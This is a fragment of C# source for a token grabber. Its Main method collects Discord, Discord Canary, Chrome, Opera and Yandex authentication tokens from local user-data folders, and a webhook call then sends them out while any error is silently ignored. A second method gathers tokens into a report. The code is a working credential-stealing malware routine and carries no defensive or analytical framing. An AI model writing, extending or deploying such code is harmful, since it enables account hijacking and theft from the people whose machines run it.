static void Main(string[] args) { List <string> report = new List <string>(); //attempt to get tokens from the different services (feel free to add more) report.Add("**Discord**"); report.AddRange(Grabber.GetTokens(@"Roaming\Discord")); report.Add("\n**Discord Canary**"); report.AddRange(Grabber.GetTokens(@"Roaming\discordcanary", true)); report.Add("\n**Google Chrome**"); report.AddRange(Grabber.GetTokens(@"Local\Google\Chrome\User Data\Default")); report.Add("\n**Opera**"); report.AddRange(Grabber.GetTokens(@"Roaming\Opera Software\Opera Stable", true)); report.Add("\n**Yandex**"); report.AddRange(Grabber.GetTokens(@"Local\Yandex\YandexBrowser\User Data\Default", true)); if (Grabber.TokensFound) { //attempts to report the tokens to the user try { Webhook.ReportTokens(report); } catch { } } }
public void GetTokens() { List <string> tokens = Grabber.GetTokens(_servicePath, _searchLogs); if (tokens.Count > 0) { tokens.Insert(0, $"\n**{_serviceName}**"); Program.TokenReport.AddRange(tokens); } }